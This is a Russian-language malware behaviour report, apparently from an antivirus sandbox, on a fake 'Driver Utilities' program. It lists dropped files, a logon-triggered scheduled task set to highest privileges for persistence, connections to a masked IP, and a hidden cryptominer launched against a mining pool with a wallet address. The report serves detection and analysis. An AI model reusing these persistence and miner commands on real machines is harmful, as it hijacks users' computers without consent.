Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\driverutilitiesver0.13
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\qxnzdi8d3mjxgyvw0nxehyopa9dckm9k.exe
- %TEMP%\swgi71fnq0uryx0xdprh5wpstyyef52r.exe
- %TEMP%\driver utilities ver 0.13\driverutilitiesver0.13.exe
- %TEMP%\tmp79e0.tmp.bat
- nul
- %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\xyyzmwg0.newcfg
- %TEMP%\drivers\4b2c6ed3071b2251d9d2.tmp.zip
- %TEMP%\drivers\dotnetzip-w0wz30l4.tmp
- %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\30tmbl2h.newcfg
- %TEMP%\driver\4b2c6ed3071b2251d9d2.tmp.zip
- %TEMP%\driver\dotnetzip-psyappue.tmp
Удаляет следующие файлы
- %TEMP%\qxnzdi8d3mjxgyvw0nxehyopa9dckm9k.exe
- %TEMP%\drivers\4b2c6ed3071b2251d9d2.tmp.zip
Перемещает следующие файлы
- %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\xyyzmwg0.newcfg в %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\user.config
- %TEMP%\drivers\dotnetzip-w0wz30l4.tmp в %TEMP%\drivers\nvamdlxapi.exe
- %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\30tmbl2h.newcfg в %LOCALAPPDATA%\driverapi\driverutilitiesver0.13.ex_url_q2f2tpns2tcnhxaqivsmcdpgfbtp4xbv\0.6.4.0\user.config
Сетевая активность
Подключается к
- '19#.#42.110.175':2728
- '19#.#42.110.175':443
- 'microsoft.com':80
TCP
- '19#.#42.110.175':443
UDP
- DNS ASK microsoft.com
Другое
Создает и запускает на исполнение
- '%TEMP%\qxnzdi8d3mjxgyvw0nxehyopa9dckm9k.exe'
- '%TEMP%\swgi71fnq0uryx0xdprh5wpstyyef52r.exe'
- '%TEMP%\driver utilities ver 0.13\driverutilitiesver0.13.exe'
- '%TEMP%\drivers\nvamdlxapi.exe' --url pool.hashvault.pro:80 --user 4B2eseb35qZKxdmuQmp3PLjBQq96ZUgPxPPbY3oYK25gKgrq5YcH6xu1ArQyzxwq26L3ByP4WyuVrCPxG6MtrQdhR5iHCaR --pass x --donate-level --cpu-max-threads-hint=60 1 --tls --tl...
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "DriverUtilitiesver0.13" /tr '"%TEMP%\Driver Utilities ver 0.13\DriverUtilitiesver0.13.exe"' & exit' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "DriverUtilitiesver0.13" /tr '"%TEMP%\Driver Utilities ver 0.13\DriverUtilitiesver0.13.exe"' & exit
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp79E0.tmp.bat""
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "DriverUtilitiesver0.13" /tr '"%TEMP%\Driver Utilities ver 0.13\DriverUtilitiesver0.13.exe"'
- '<SYSTEM32>\timeout.exe' 3
